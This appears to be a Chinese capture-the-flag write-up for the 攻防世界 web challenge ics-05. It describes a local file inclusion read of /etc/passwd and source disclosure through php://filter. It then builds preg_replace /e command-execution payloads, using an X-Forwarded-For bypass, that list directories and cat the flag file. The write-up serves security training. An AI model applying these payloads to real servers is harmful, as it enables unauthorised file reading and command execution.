攻防世界-web:ics-05

题目描述

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

题目截图

解题思路

查看源代码发现一个url链接

尝试访问这个url

将参数更换为:/etc/passwd

发现存在文件读取漏洞
尝试读取index.php

回显ok
利用file协议读取/var/www/html/index.php

PHP伪协议文件读取

就是无法获取php源代码,这个时候可以利用php://filter伪协议读取
php://filter/read=convert.base64-encode/resource=index.php

读到了index.php的源代码

代码审计

base64解码源代码

发现代码中存在异常代码
preg_replace函数:

这个函数存在命令执行漏洞


搜索到这个

可以看出当函数第一个参数用//e修饰,第三个参数与第一个参数相同时,第二个参数可以当作php代码执行。
即preg_replace("/123/e", "phpinfo()", "123");可以执行phpinfo()函数。
我们发现这三个参数都是我们可控的,所以只要能够绕过$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'即可命令执行。

HTTP_X_FORWARDED_FOR绕过

我们可以利用burp抓包改包实现绕过。

命令执行测试

下面我们构造参数进行命令执行
payload:?pat=/123/e&rep=phpinfo()&sub=123

成功执行phpinfo()

查看目录文件

payload:?pat=/123/e&rep=eval(system("ls"))&sub=123

发现可疑文件夹

查看疑文件夹

payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/"))&sub=123

发现flag文件夹

查看flag文件夹

payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/flag"))&sub=123

发现flag.php

查看flag.php

payload:?pat=/123/e&rep=eval(system("cat+s3chahahaDir/flag/flag.php"))&sub=123

得到flag

posted @ 2020-05-08 22:17  顺时针--+  阅读(497)  评论(0编辑  收藏  举报